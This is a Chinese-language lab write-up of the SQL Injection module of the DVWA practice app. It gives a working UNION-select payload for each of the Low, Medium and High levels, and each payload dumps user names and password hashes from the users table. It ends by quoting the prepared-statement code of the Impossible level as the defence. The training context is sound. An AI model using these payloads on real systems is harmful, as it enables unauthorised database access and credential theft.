DVWA靶场-SQL Injection SQL注入

往期博文:

DVWA靶场-Brute Force Source 暴力破解

DVWA靶场-Command Injection 命令注入

DVWA靶场-CSRF 跨站请求伪造

DVWA靶场-File Inclusion 文件包含

DVWA靶场-File Upload 文件上传

靶场环境搭建

https://github.com/ethicalhack3r/DVWA

[网络安全学习篇附]:DVWA 靶场搭建

 

目录

 

SQL Injection

Low SQL Injection

核心代码

Medium SQL Injection

核心代码

High SQL Injection

核心代码

Impossible SQL

核心代码


SQL Injection

Low SQL Injection

核心代码

单引号闭合,没有进行任何过滤,直接联合查询走一波

?id=-1' union select 1,(select+group_concat(user,':',password)+from+users)--+&Submit=Submit#

DVWA靶场-SQL Injection SQL注入_第1张图片

 

Medium SQL Injection

核心代码

这里和low级别的区别在于有原来的get 方式提交变成了post 方式,且由原来的单引号闭合变为了直接拼接sql 语句

id=1 union select 1,(select+group_concat(user,password) from users)&Submit=Submit#

DVWA靶场-SQL Injection SQL注入_第2张图片

 

High SQL Injection

核心代码

high 级别使用了session 获取id 值,闭合方式单引号闭合

直接在跳转的输入框内输入:

-1' union select 1,(select+group_concat(user,password) from users)#

DVWA靶场-SQL Injection SQL注入_第3张图片

 

DVWA靶场-SQL Injection SQL注入_第4张图片

 

Impossible SQL

核心代码

prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );

        $data->bindParam( ':id', $id, PDO::PARAM_INT );

        $data->execute();

        $row = $data->fetch(); 

} 

// Generate Anti-CSRF token

generateSessionToken(); 

?>

 

可以看到,Impossible级别 首先使用了Anti-CSRF token机制,提高了其安全性。其次采用了预编译语句和PDO技术,有效防御SQL注入。


https://www.sqlsec.com/2020/05/dvwa.html#toc-heading-31

https://www.freebuf.com/articles/web/119467.html

你可能感兴趣的:(DVWA,千峰网络安全视频笔记篇,靶机实战,安全)